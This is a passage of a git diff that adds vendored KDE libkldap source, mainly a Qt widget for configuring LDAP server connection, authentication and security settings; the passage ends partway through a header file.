Qt::Orientation orientation, int role) const override; + Q_REQUIRED_RESULT int columnCount(const QModelIndex &parent) const override; + Q_REQUIRED_RESULT Qt::ItemFlags flags(const QModelIndex &index) const override; + Q_REQUIRED_RESULT bool hasChildren(const QModelIndex &parent) const override; + + Q_REQUIRED_RESULT QModelIndex mapFromSource(const QModelIndex &sourceIndex) const override; + Q_REQUIRED_RESULT QModelIndex mapToSource(const QModelIndex &proxyIndex) const override; + + /** + * Reimplemented from QAbstractItemModel::insertRows(). This is a placeholder for when + * LdapAttributeProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool insertRows(int row, int count, + const QModelIndex &parent = QModelIndex()) override; + /** + * Reimplemented from QAbstractItemModel::removeRows(). This is a placeholder for when + * LdapAttributeProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool removeRows(int row, int count, + const QModelIndex &parent = QModelIndex()) override; + /** + * Reimplemented from QAbstractItemModel::removeRows(). The default implementation + * does nothing. + */ + void sort(int column, Qt::SortOrder order = Qt::AscendingOrder) override; + + // + // Drag and drop support + // + /** + * Reimplemented from QAbstractItemModel::supportedDropActions(). The default + * implementation returns Qt::MoveAction. + */ + Q_REQUIRED_RESULT Qt::DropActions supportedDropActions() const override; + /** + * Reimplemented from QAbstractItemModel::mimedata(). This is a placeholder for when + * LdapAttributeProxyModel beomes writeable and always returns 0. + */ + QMimeData *mimeData(const QModelIndexList &indexes) const override; + /** + * Reimplemented from QAbstractItemModel::dropMimedata(). This is a placeholder for when + * LdapAttributeProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool dropMimeData(const QMimeData *data, Qt::DropAction action, + int row, int column, const QModelIndex &parent) override; +}; + +} +#endif diff --git a/3rdparty/kldap/src/ldapconfigwidget.cpp b/3rdparty/kldap/src/ldapconfigwidget.cpp new file mode 100644 index 0000000..e2086d3 --- /dev/null +++ b/3rdparty/kldap/src/ldapconfigwidget.cpp @@ -0,0 +1,901 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapconfigwidget.h" +#include "ldapsearch.h" + +#include +#include +#include "ldap_debug.h" +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +using namespace KLDAP; + +class Q_DECL_HIDDEN LdapConfigWidget::Private +{ +public: + Private(LdapConfigWidget *parent) + : mParent(parent) + { + mainLayout = new QGridLayout(mParent); + mainLayout->setMargin(0); + } + + void setLDAPPort(); + void setLDAPSPort(); + void setAnonymous(bool on); + void setSimple(bool on); + void setSASL(bool on); + void queryDNClicked(); + void queryMechClicked(); + void loadData(LdapSearch *search, const LdapObject &object); + void loadResult(LdapSearch *search); + void sendQuery(); + void initWidget(); + + LdapConfigWidget *mParent = nullptr; + WinFlags mFeatures = W_ALL; + QStringList mQResult; + QString mAttr; + + QLineEdit *mUser = nullptr; + KPasswordLineEdit *mPassword = nullptr; + QLineEdit *mHost = nullptr; + QSpinBox *mPort = nullptr; + QSpinBox *mVersion = nullptr; + QSpinBox *mSizeLimit = nullptr; + QSpinBox *mTimeLimit = nullptr; + QSpinBox *mPageSize = nullptr; + QLineEdit *mDn = nullptr; + QLineEdit *mBindDn = nullptr; + QLineEdit *mRealm = nullptr; + QLineEdit *mFilter = nullptr; + QRadioButton *mAnonymous = nullptr; + QRadioButton *mSimple = nullptr; + QRadioButton *mSASL = nullptr; + QCheckBox *mSubTree = nullptr; + QPushButton *mEditButton = nullptr; + QPushButton *mQueryMech = nullptr; + QRadioButton *mSecNo = nullptr; + QRadioButton *mSecTLS = nullptr; + QRadioButton *mSecSSL = nullptr; + KComboBox *mMech = nullptr; + + bool mCancelled = false; + QProgressDialog *mProg = nullptr; + + QGridLayout *mainLayout = nullptr; +}; + +void LdapConfigWidget::Private::initWidget() +{ + QLabel *label = nullptr; + + mUser = mHost = mDn = mBindDn = mRealm = mFilter = nullptr; + mPassword = nullptr; + mPort = mVersion = mTimeLimit = mSizeLimit = nullptr; + mAnonymous = mSimple = mSASL = mSecNo = mSecTLS = mSecSSL = nullptr; + mEditButton = mQueryMech = nullptr; + mPageSize = nullptr; + mMech = nullptr; + int row = 0; + int col; + + if (mFeatures & W_USER) { + label = new QLabel(i18n("User:"), mParent); + mUser = new QLineEdit(mParent); + mUser->setObjectName(QStringLiteral("kcfg_ldapuser")); + + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mUser, row, 1, 1, 3); + row++; + } + + if (mFeatures & W_BINDDN) { + label = new QLabel(i18n("Bind DN:"), mParent); + mBindDn = new QLineEdit(mParent); + mBindDn->setObjectName(QStringLiteral("kcfg_ldapbinddn")); + + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mBindDn, row, 1, 1, 3); + row++; + } + + if (mFeatures & W_REALM) { + label = new QLabel(i18n("Realm:"), mParent); + mRealm = new QLineEdit(mParent); + mRealm->setObjectName(QStringLiteral("kcfg_ldaprealm")); + + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mRealm, row, 1, 1, 3); + row++; + } + + if (mFeatures & W_PASS) { + label = new QLabel(i18n("Password:"), mParent); + mPassword = new KPasswordLineEdit(mParent); + mPassword->setObjectName(QStringLiteral("kcfg_ldappassword")); + + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mPassword, row, 1, 1, 3); + row++; + } + + if (mFeatures & W_HOST) { + label = new QLabel(i18n("Host:"), mParent); + mHost = new QLineEdit(mParent); + mHost->setObjectName(QStringLiteral("kcfg_ldaphost")); + mParent->connect(mHost, &QLineEdit::textChanged, mParent, &LdapConfigWidget::hostNameChanged); + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mHost, row, 1, 1, 3); + row++; + } + + col = 0; + if (mFeatures & W_PORT) { + label = new QLabel(i18n("Port:"), mParent); + mPort = new QSpinBox(mParent); + mPort->setRange(0, 65535); + mPort->setObjectName(QStringLiteral("kcfg_ldapport")); + mPort->setSizePolicy(QSizePolicy(QSizePolicy::Maximum, QSizePolicy::Preferred)); + mPort->setValue(389); + + mainLayout->addWidget(label, row, col); + mainLayout->addWidget(mPort, row, col + 1); + col += 2; + } + + if (mFeatures & W_VER) { + label = new QLabel(i18n("LDAP version:"), mParent); + mVersion = new QSpinBox(mParent); + mVersion->setRange(2, 3); + mVersion->setObjectName(QStringLiteral("kcfg_ldapver")); + mVersion->setSizePolicy(QSizePolicy(QSizePolicy::Maximum, QSizePolicy::Preferred)); + mVersion->setValue(3); + mainLayout->addWidget(label, row, col); + mainLayout->addWidget(mVersion, row, col + 1); + } + if (mFeatures & (W_PORT | W_VER)) { + row++; + } + + col = 0; + if (mFeatures & W_SIZELIMIT) { + label = new QLabel(i18n("Size limit:"), mParent); + mSizeLimit = new QSpinBox(mParent); + mSizeLimit->setRange(0, 9999999); + mSizeLimit->setObjectName(QStringLiteral("kcfg_ldapsizelimit")); + mSizeLimit->setSizePolicy(QSizePolicy(QSizePolicy::Maximum, QSizePolicy::Preferred)); + mSizeLimit->setValue(0); + mSizeLimit->setSpecialValueText(i18nc("default ldap size limit", "Default")); + mainLayout->addWidget(label, row, col); + mainLayout->addWidget(mSizeLimit, row, col + 1); + col += 2; + } + + if (mFeatures & W_TIMELIMIT) { + label = new QLabel(i18n("Time limit:"), mParent); + mTimeLimit = new QSpinBox(mParent); + mTimeLimit->setRange(0, 9999999); + mTimeLimit->setObjectName(QStringLiteral("kcfg_ldaptimelimit")); + mTimeLimit->setSizePolicy(QSizePolicy(QSizePolicy::Maximum, QSizePolicy::Preferred)); + mTimeLimit->setValue(0); + mTimeLimit->setSuffix(i18n(" sec")); + mTimeLimit->setSpecialValueText(i18nc("default ldap time limit", "Default")); + mainLayout->addWidget(label, row, col); + mainLayout->addWidget(mTimeLimit, row, col + 1); + } + if (mFeatures & (W_SIZELIMIT | W_TIMELIMIT)) { + row++; + } + + if (mFeatures & W_PAGESIZE) { + label = new QLabel(i18n("Page size:"), mParent); + mPageSize = new QSpinBox(mParent); + mPageSize->setRange(0, 9999999); + mPageSize->setObjectName(QStringLiteral("kcfg_ldappagesize")); + mPageSize->setSizePolicy(QSizePolicy(QSizePolicy::Maximum, QSizePolicy::Preferred)); + mPageSize->setValue(0); + mPageSize->setSpecialValueText(i18n("No paging")); + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mPageSize, row++, 1); + } + + if (mFeatures & W_DN) { + label = new QLabel(i18nc("Distinguished Name", "DN:"), mParent); + mDn = new QLineEdit(mParent); + mDn->setObjectName(QStringLiteral("kcfg_ldapdn")); + + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mDn, row, 1, 1, 1); + //without host query doesn't make sense + if (mHost) { + QPushButton *dnquery = new QPushButton(i18n("Query Server"), mParent); + connect(dnquery, &QPushButton::clicked, mParent, [this]() { queryDNClicked(); }); + mainLayout->addWidget(dnquery, row, 2, 1, 1); + } + row++; + } + + if (mFeatures & W_FILTER) { + label = new QLabel(i18n("Filter:"), mParent); + mFilter = new QLineEdit(mParent); + mFilter->setObjectName(QStringLiteral("kcfg_ldapfilter")); + + mainLayout->addWidget(label, row, 0); + mainLayout->addWidget(mFilter, row, 1, 1, 3); + row++; + } + + if (mFeatures & W_SECBOX) { + QGroupBox *btgroup = new QGroupBox(i18n("Security"), mParent); + QHBoxLayout *hbox = new QHBoxLayout; + btgroup->setLayout(hbox); + mSecNo = new QRadioButton(i18nc("@option:radio set no security", "No"), btgroup); + mSecNo->setObjectName(QStringLiteral("kcfg_ldapnosec")); + hbox->addWidget(mSecNo); + mSecTLS = new QRadioButton(i18nc("@option:radio use TLS security", "TLS"), btgroup); + mSecTLS->setObjectName(QStringLiteral("kcfg_ldaptls")); + hbox->addWidget(mSecTLS); + mSecSSL = new QRadioButton(i18nc("@option:radio use SSL security", "SSL"), btgroup); + mSecSSL->setObjectName(QStringLiteral("kcfg_ldapssl")); + hbox->addWidget(mSecSSL); + mainLayout->addWidget(btgroup, row, 0, 1, 4); + + connect(mSecNo, &QRadioButton::clicked, mParent, [this]() { setLDAPPort(); }); + connect(mSecTLS, &QRadioButton::clicked, mParent, [this]() { setLDAPPort(); }); + connect(mSecSSL, &QRadioButton::clicked, mParent, [this]() { setLDAPSPort(); }); + + mSecNo->setChecked(true); + row++; + } + + if (mFeatures & W_AUTHBOX) { + + QGroupBox *authbox = + new QGroupBox(i18n("Authentication"), mParent); + QVBoxLayout *vbox = new QVBoxLayout; + authbox->setLayout(vbox); + QHBoxLayout *hbox = new QHBoxLayout; + vbox->addLayout(hbox); + + mAnonymous = + new QRadioButton(i18nc("@option:radio anonymous authentication", "Anonymous"), authbox); + mAnonymous->setObjectName(QStringLiteral("kcfg_ldapanon")); + hbox->addWidget(mAnonymous); + mSimple = + new QRadioButton(i18nc("@option:radio simple authentication", "Simple"), authbox); + mSimple->setObjectName(QStringLiteral("kcfg_ldapsimple")); + hbox->addWidget(mSimple); + mSASL = + new QRadioButton(i18nc("@option:radio SASL authentication", "SASL"), authbox); + mSASL->setObjectName(QStringLiteral("kcfg_ldapsasl")); + hbox->addWidget(mSASL); + + hbox = new QHBoxLayout; + vbox->addLayout(hbox); + label = new QLabel(i18n("SASL mechanism:"), authbox); + hbox->addWidget(label); + mMech = new KComboBox(authbox); + mMech->setObjectName(QStringLiteral("kcfg_ldapsaslmech")); + mMech->addItem(QStringLiteral("DIGEST-MD5")); + mMech->addItem(QStringLiteral("GSSAPI")); + mMech->addItem(QStringLiteral("PLAIN")); + hbox->addWidget(mMech); + + //without host query doesn't make sense + if (mHost) { + mQueryMech = new QPushButton(i18n("Query Server"), authbox); + hbox->addWidget(mQueryMech); + connect(mQueryMech, &QPushButton::clicked, mParent, [this]() { queryMechClicked(); }); + } + + mainLayout->addWidget(authbox, row, 0, 2, 4); + + connect(mAnonymous, &QRadioButton::toggled, mParent, [this] (bool b) { setAnonymous(b); }); + connect(mSimple, &QRadioButton::toggled, mParent, [this] (bool b) { setSimple(b); }); + connect(mSASL, &QRadioButton::toggled, mParent, [this] (bool b) { setSASL(b); }); + + mAnonymous->setChecked(true); + } +} + +void LdapConfigWidget::Private::sendQuery() +{ + LdapServer _server(mParent->server()); + + mQResult.clear(); + mCancelled = true; + + if (mAttr == QLatin1String("supportedsaslmechanisms")) { + _server.setAuth(LdapServer::Anonymous); + } + + LdapUrl _url(_server.url()); + + _url.setDn(LdapDN(QStringLiteral(""))); + _url.setAttributes(QStringList(mAttr)); + _url.setScope(LdapUrl::Base); + + qCDebug(LDAP_LOG) << "sendQuery url:" << _url.toDisplayString(); + + LdapSearch search; + connect(&search, &LdapSearch::data, mParent, [this](KLDAP::LdapSearch *s, const KLDAP::LdapObject &obj) {loadData(s, obj); }); + connect(&search, &LdapSearch::result, mParent, [this](KLDAP::LdapSearch*s) { loadResult(s); }); + + if (!search.search(_url)) { + KMessageBox::error(mParent, search.errorString(), i18n("Check server")); + return; + } + + if (mProg == nullptr) { + mProg = new QProgressDialog(mParent); + mProg->setWindowTitle(i18n("LDAP Query")); + mProg->setModal(true); + } + mProg->setLabelText(_url.toDisplayString()); + mProg->setMaximum(1); + mProg->setMinimum(0); + mProg->setValue(0); + mProg->exec(); + if (mCancelled) { + qCDebug(LDAP_LOG) << "query canceled!"; + search.abandon(); + } else { + if (search.error()) { + if (search.errorString().isEmpty()) { + KMessageBox::error(mParent, i18nc("%1 is a url to ldap server", "Unknown error connecting %1", _url.toDisplayString())); + } else { + KMessageBox::error(mParent, search.errorString()); + } + } + } +} + +void LdapConfigWidget::Private::queryMechClicked() +{ + mAttr = QStringLiteral("supportedsaslmechanisms"); + sendQuery(); + if (!mQResult.isEmpty()) { + mQResult.sort(); + mMech->clear(); + mMech->addItems(mQResult); + } +} + +void LdapConfigWidget::Private::queryDNClicked() +{ + mAttr = QStringLiteral("namingcontexts"); + sendQuery(); + if (!mQResult.isEmpty()) { + mDn->setText(mQResult.constFirst()); + } +} + +void LdapConfigWidget::Private::loadData(LdapSearch *, const LdapObject &object) +{ + qCDebug(LDAP_LOG) << "object:" << object.toString(); + mProg->setValue(mProg->value() + 1); + LdapAttrMap::ConstIterator end(object.attributes().constEnd()); + for (LdapAttrMap::ConstIterator it = object.attributes().constBegin(); + it != end; ++it) { + LdapAttrValue::ConstIterator end2((*it).constEnd()); + for (LdapAttrValue::ConstIterator it2 = (*it).constBegin(); + it2 != end2; ++it2) { + mQResult.push_back(QString::fromUtf8(*it2)); + } + } +} + +void LdapConfigWidget::Private::loadResult(LdapSearch *search) +{ + Q_UNUSED(search); + mCancelled = false; + mProg->close(); +} + +void LdapConfigWidget::Private::setAnonymous(bool on) +{ + if (!on) { + return; + } + if (mUser) { + mUser->setEnabled(false); + } + if (mPassword) { + mPassword->setEnabled(false); + } + if (mBindDn) { + mBindDn->setEnabled(false); + } + if (mRealm) { + mRealm->setEnabled(false); + } + if (mMech) { + mMech->setEnabled(false); + } + if (mQueryMech) { + mQueryMech->setEnabled(false); + } +} + +void LdapConfigWidget::Private::setSimple(bool on) +{ + if (!on) { + return; + } + if (mUser) { + mUser->setEnabled(false); + } + if (mPassword) { + mPassword->setEnabled(true); + } + if (mBindDn) { + mBindDn->setEnabled(true); + } + if (mRealm) { + mRealm->setEnabled(false); + } + if (mMech) { + mMech->setEnabled(false); + } + if (mQueryMech) { + mQueryMech->setEnabled(false); + } +} + +void LdapConfigWidget::Private::setSASL(bool on) +{ + if (!on) { + return; + } + if (mUser) { + mUser->setEnabled(true); + } + if (mPassword) { + mPassword->setEnabled(true); + } + if (mBindDn) { + mBindDn->setEnabled(true); + } + if (mRealm) { + mRealm->setEnabled(true); + } + if (mMech) { + mMech->setEnabled(true); + } + if (mQueryMech) { + mQueryMech->setEnabled(true); + } +} + +void LdapConfigWidget::Private::setLDAPPort() +{ + if (mPort) { + mPort->setValue(389); + } +} + +void LdapConfigWidget::Private::setLDAPSPort() +{ + if (mPort) { + mPort->setValue(636); + } +} + +LdapConfigWidget::LdapConfigWidget(QWidget *parent, Qt::WindowFlags fl) + : QWidget(parent, fl), d(new Private(this)) +{ +} + +LdapConfigWidget::LdapConfigWidget(LdapConfigWidget::WinFlags flags, + QWidget *parent, Qt::WindowFlags fl) + : QWidget(parent, fl), d(new Private(this)) +{ + d->mFeatures = flags; + + d->initWidget(); +} + +LdapConfigWidget::~LdapConfigWidget() +{ + delete d; +} + +LdapUrl LdapConfigWidget::url() const +{ + return server().url(); +} + +void LdapConfigWidget::setUrl(const LdapUrl &url) +{ + LdapServer _server; + _server.setUrl(url); + setServer(_server); +} + +LdapServer LdapConfigWidget::server() const +{ + LdapServer _server; + if (d->mSecSSL && d->mSecSSL->isChecked()) { + _server.setSecurity(LdapServer::SSL); + } else if (d->mSecTLS && d->mSecTLS->isChecked()) { + _server.setSecurity(LdapServer::TLS); + } else { + _server.setSecurity(LdapServer::None); + } + + if (d->mUser) { + _server.setUser(d->mUser->text()); + } + if (d->mBindDn) { + _server.setBindDn(d->mBindDn->text()); + } + if (d->mPassword) { + _server.setPassword(d->mPassword->password()); + } + if (d->mRealm) { + _server.setRealm(d->mRealm->text()); + } + if (d->mHost) { + _server.setHost(d->mHost->text()); + } + if (d->mPort) { + _server.setPort(d->mPort->value()); + } + if (d->mDn) { + _server.setBaseDn(LdapDN(d->mDn->text())); + } + if (d->mFilter) { + _server.setFilter(d->mFilter->text()); + } + if (d->mVersion) { + _server.setVersion(d->mVersion->value()); + } + if (d->mSizeLimit && d->mSizeLimit->value() != 0) { + _server.setSizeLimit(d->mSizeLimit->value()); + } + if (d->mTimeLimit && d->mTimeLimit->value() != 0) { + _server.setTimeLimit(d->mTimeLimit->value()); + } + if (d->mPageSize && d->mPageSize->value() != 0) { + _server.setPageSize(d->mPageSize->value()); + } + if (d->mAnonymous && d->mAnonymous->isChecked()) { + _server.setAuth(LdapServer::Anonymous); + } else if (d->mSimple && d->mSimple->isChecked()) { + _server.setAuth(LdapServer::Simple); + } else if (d->mSASL && d->mSASL->isChecked()) { + _server.setAuth(LdapServer::SASL); + _server.setMech(d->mMech->currentText()); + } + return _server; +} + +void LdapConfigWidget::setServer(const LdapServer &server) +{ + switch (server.security()) { + case LdapServer::SSL: + if (d->mSecSSL) { + d->mSecSSL->setChecked(true); + } + break; + case LdapServer::TLS: + if (d->mSecTLS) { + d->mSecTLS->setChecked(true); + } + break; + case LdapServer::None: + if (d->mSecNo) { + d->mSecNo->setChecked(true); + } + break; + } + + switch (server.auth()) { + case LdapServer::Anonymous: + if (d->mAnonymous) { + d->mAnonymous->setChecked(true); + } + break; + case LdapServer::Simple: + if (d->mSimple) { + d->mSimple->setChecked(true); + } + break; + case LdapServer::SASL: + if (d->mSASL) { + d->mSASL->setChecked(true); + } + break; + } + + setUser(server.user()); + setBindDn(server.bindDn()); + setPassword(server.password()); + setRealm(server.realm()); + setHost(server.host()); + setPort(server.port()); + setFilter(server.filter()); + setDn(server.baseDn()); + setVersion(server.version()); + setSizeLimit(server.sizeLimit()); + setTimeLimit(server.timeLimit()); + setPageSize(server.pageSize()); + setMech(server.mech()); +} + +void LdapConfigWidget::setUser(const QString &user) +{ + if (d->mUser) { + d->mUser->setText(user); + } +} + +QString LdapConfigWidget::user() const +{ + return d->mUser ? d->mUser->text() : QString(); +} + +void LdapConfigWidget::setPassword(const QString &password) +{ + if (d->mPassword) { + d->mPassword->setPassword(password); + } +} + +QString LdapConfigWidget::password() const +{ + return d->mPassword ? d->mPassword->password() : QString(); +} + +void LdapConfigWidget::setBindDn(const QString &binddn) +{ + if (d->mBindDn) { + d->mBindDn->setText(binddn); + } +} + +QString LdapConfigWidget::bindDn() const +{ + return d->mBindDn ? d->mBindDn->text() : QString(); +} + +void LdapConfigWidget::setRealm(const QString &realm) +{ + if (d->mRealm) { + d->mRealm->setText(realm); + } +} + +QString LdapConfigWidget::realm() const +{ + return d->mRealm ? d->mRealm->text() : QString(); +} + +void LdapConfigWidget::setHost(const QString &host) +{ + if (d->mHost) { + d->mHost->setText(host); + } +} + +QString LdapConfigWidget::host() const +{ + return d->mHost ? d->mHost->text() : QString(); +} + +void LdapConfigWidget::setPort(int port) +{ + if (d->mPort) { + d->mPort->setValue(port); + } +} + +int LdapConfigWidget::port() const +{ + return d->mPort ? d->mPort->value() : 389; +} + +void LdapConfigWidget::setVersion(int version) +{ + if (d->mVersion) { + d->mVersion->setValue(version); + } +} + +int LdapConfigWidget::version() const +{ + return d->mVersion ? d->mVersion->value() : 3; +} + +void LdapConfigWidget::setDn(const LdapDN &dn) +{ + if (d->mDn) { + d->mDn->setText(dn.toString()); + } +} + +LdapDN LdapConfigWidget::dn() const +{ + return d->mDn ? LdapDN(d->mDn->text()) : LdapDN(); +} + +void LdapConfigWidget::setFilter(const QString &filter) +{ + if (d->mFilter) { + d->mFilter->setText(filter); + } +} + +QString LdapConfigWidget::filter() const +{ + return d->mFilter ? d->mFilter->text() : QString(); +} + +void LdapConfigWidget::setMech(const QString &mech) +{ + if (d->mMech == nullptr) { + return; + } + if (!mech.isEmpty()) { + int i = 0; + while (i < d->mMech->count()) { + if (d->mMech->itemText(i) == mech) { + break; + } + i++; + } + if (i == d->mMech->count()) { + d->mMech->addItem(mech); + } + d->mMech->setCurrentIndex(i); + } +} + +QString LdapConfigWidget::mech() const +{ + return d->mMech ? d->mMech->currentText() : QString(); +} + +void LdapConfigWidget::setSecurity(Security security) +{ + switch (security) { + case None: + d->mSecNo->setChecked(true); + break; + case SSL: + d->mSecSSL->setChecked(true); + break; + case TLS: + d->mSecTLS->setChecked(true); + break; + } +} + +LdapConfigWidget::Security LdapConfigWidget::security() const +{ + if (d->mSecTLS->isChecked()) { + return TLS; + } + if (d->mSecSSL->isChecked()) { + return SSL; + } + return None; +} + +void LdapConfigWidget::setAuth(Auth auth) +{ + switch (auth) { + case Anonymous: + d->mAnonymous->setChecked(true); + break; + case Simple: + d->mSimple->setChecked(true); + break; + case SASL: + d->mSASL->setChecked(true); + break; + } +} + +LdapConfigWidget::Auth LdapConfigWidget::auth() const +{ + if (d->mSimple->isChecked()) { + return Simple; + } + if (d->mSASL->isChecked()) { + return SASL; + } + return Anonymous; +} + +void LdapConfigWidget::setSizeLimit(int sizelimit) +{ + if (d->mSizeLimit) { + d->mSizeLimit->setValue(sizelimit); + } +} + +int LdapConfigWidget::sizeLimit() const +{ + return d->mSizeLimit ? d->mSizeLimit->value() : 0; +} + +void LdapConfigWidget::setTimeLimit(int timelimit) +{ + if (d->mTimeLimit) { + d->mTimeLimit->setValue(timelimit); + } +} + +int LdapConfigWidget::timeLimit() const +{ + return d->mTimeLimit ? d->mTimeLimit->value() : 0; +} + +void LdapConfigWidget::setPageSize(int pagesize) +{ + if (d->mPageSize) { + d->mPageSize->setValue(pagesize); + } +} + +int LdapConfigWidget::pageSize() const +{ + return d->mPageSize ? d->mPageSize->value() : 0; +} + +LdapConfigWidget::WinFlags LdapConfigWidget::features() const +{ + return d->mFeatures; +} + +void LdapConfigWidget::setFeatures(LdapConfigWidget::WinFlags features) +{ + d->mFeatures = features; + + // First delete all the child widgets. + // FIXME: I hope it's correct + QList ch = children(); + const int numberOfChild(ch.count()); + for (int i = 0; i < numberOfChild; ++i) { + QWidget *widget = dynamic_cast(ch[ i ]); + if (widget && widget->parent() == this) { + delete(widget); + } + } + + // Re-create child widgets according to the new flags + d->initWidget(); +} + +#include "moc_ldapconfigwidget.cpp" diff --git a/3rdparty/kldap/src/ldapconfigwidget.h b/3rdparty/kldap/src/ldapconfigwidget.h new file mode 100644 index 0000000..94cee4a --- /dev/null +++ b/3rdparty/kldap/src/ldapconfigwidget.h @@ -0,0 +1,282 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPCONFIGWIDGET_H +#define KLDAP_LDAPCONFIGWIDGET_H + +#include +#include + +#include "ldapdn.h" +#include "kldap_export.h" +#include "ldapobject.h" +#include "ldapserver.h" +#include "ldapurl.h" + +namespace KLDAP +{ + +class LdapSearch; + +/** + @brief LDAP Configuration widget + + This class can be used to query the user for LDAP connection parameters. + It's KConfigXT compatible, using widget names starting with kcfg_ +*/ + +class KLDAP_EXPORT LdapConfigWidget : public QWidget +{ + Q_OBJECT + Q_FLAGS(WinFlags) + Q_PROPERTY(WinFlags features READ features WRITE setFeatures) + Q_PROPERTY(QString user READ user WRITE setUser) + Q_PROPERTY(QString bindDn READ bindDn WRITE setBindDn) + Q_PROPERTY(QString realm READ realm WRITE setRealm) + Q_PROPERTY(QString password READ password WRITE setPassword) + Q_PROPERTY(QString host READ host WRITE setHost) + Q_PROPERTY(int port READ port WRITE setPort) + Q_PROPERTY(int version READ version WRITE setVersion) + Q_PROPERTY(LdapDN dn READ dn WRITE setDn) + Q_PROPERTY(QString filter READ filter WRITE setFilter) + Q_PROPERTY(QString mech READ mech WRITE setMech) + Q_PROPERTY(Security security READ security WRITE setSecurity) + Q_PROPERTY(Auth auth READ auth WRITE setAuth) + Q_PROPERTY(int sizeLimit READ sizeLimit WRITE setSizeLimit) + Q_PROPERTY(int timeLimit READ timeLimit WRITE setTimeLimit) + Q_PROPERTY(int pageSize READ pageSize WRITE setPageSize) + +public: + + enum WinFlag { + W_USER = 0x1, + W_BINDDN = 0x2, + W_REALM = 0x4, + W_PASS = 0x8, + W_HOST = 0x10, + W_PORT = 0x20, + W_VER = 0x40, + W_DN = 0x80, + W_FILTER = 0x100, + W_SECBOX = 0x200, + W_AUTHBOX = 0x400, + W_TIMELIMIT = 0x800, + W_SIZELIMIT = 0x1000, + W_PAGESIZE = 0x2000, + W_ALL = 0x2fff + }; + Q_DECLARE_FLAGS(WinFlags, WinFlag) + + enum Security { + None, SSL, TLS + }; + Q_ENUM(Security) + + enum Auth { + Anonymous, Simple, SASL + }; + Q_ENUM(Auth) + + /** Constructs an empty configuration widget. + * You need to call setFlags() after this. + * @param parent the QWidget parent + * @param fl the window flags to set + */ + explicit LdapConfigWidget(QWidget *parent = nullptr, Qt::WindowFlags fl = {}); + /** Constructs a configuration widget */ + explicit LdapConfigWidget(WinFlags flags, QWidget *parent = nullptr, + Qt::WindowFlags fl = {}); + /** Destructs a configuration widget */ + ~LdapConfigWidget(); + + /** Sets the user name. Kconfig widget name: kcfg_ldapuser + * @param user the user name to set + */ + void setUser(const QString &user); + /** Gets the user name. Kconfig widget name: kcfg_ldapuser */ + Q_REQUIRED_RESULT QString user() const; + + /** Sets the password. Kconfig widget name: kcfg_ldappassword + * @param password the password to set + */ + void setPassword(const QString &password); + /** Gets the password. Kconfig widget name: kcfg_ldappassword */ + Q_REQUIRED_RESULT QString password() const; + + /** + * Sets the bind dn. + * Kconfig widget name: kcfg_ldapbinddn + * @param binddn the LDAP Bind DN to set + */ + void setBindDn(const QString &binddn); + /** Gets the bind dn. Kconfig widget name: kcfg_ldapbinddn*/ + Q_REQUIRED_RESULT QString bindDn() const; + + /** Sets the SASL realm. Kconfig widget name: kcfg_ldaprealm + * @param realm the SASL realm to set + */ + void setRealm(const QString &realm); + /** Gets the SASL realm. Kconfig widget name: kcfg_ldaprealm */ + Q_REQUIRED_RESULT QString realm() const; + + /** Sets the host name. Kconfig widget name: kcfg_ldaphost + * @param host the LDAP host to set + */ + void setHost(const QString &host); + /** Gets the host name. Kconfig widget name: kcfg_ldaphost */ + Q_REQUIRED_RESULT QString host() const; + + /** Sets the LDAP port. Kconfig widget name: kcfg_ldapport + * @param port the LDAP port to set + */ + void setPort(int port); + /** Gets the LDAP port. Kconfig widget name: kcfg_ldapport */ + Q_REQUIRED_RESULT int port() const; + + /** Sets the LDAP protocol version. Kconfig widget name: kcfg_ldapver + * @param version the LDAP protocol version to set + */ + void setVersion(int version); + /** Gets the LDAP protocol version. Kconfig widget name: kcfg_ldapver */ + Q_REQUIRED_RESULT int version() const; + + /** Sets the LDAP Base DN. Kconfig widget name: kcfg_ldapdn + * @param dn the LDAP Base DN to set + */ + void setDn(const LdapDN &dn); + /** Gets the LDAP Base DN. Kconfig widget name: kcfg_ldapdn */ + Q_REQUIRED_RESULT LdapDN dn() const; + + /** Sets the LDAP Filter. Kconfig widget name: kcfg_ldapfilter + * @param filter the LDAP Filter to set + */ + void setFilter(const QString &filter); + /** Gets the LDAP Filter. Kconfig widget name: kcfg_ldapfilter */ + Q_REQUIRED_RESULT QString filter() const; + + /** Sets the SASL Mechanism. Kconfig widget name: kcfg_ldapsaslmech + * @param mech the SASL Mechanism to set + */ + void setMech(const QString &mech); + /** Gets the SASL Mechanism. Kconfig widget name: kcfg_ldapsaslmech */ + Q_REQUIRED_RESULT QString mech() const; + + /** + * Sets the security type (None, SSL, TLS). + * Kconfig widget names: kcfg_ldapnosec, kcfg_ldaptls, kcfg_ldapssl + * @param security the security type to set + */ + void 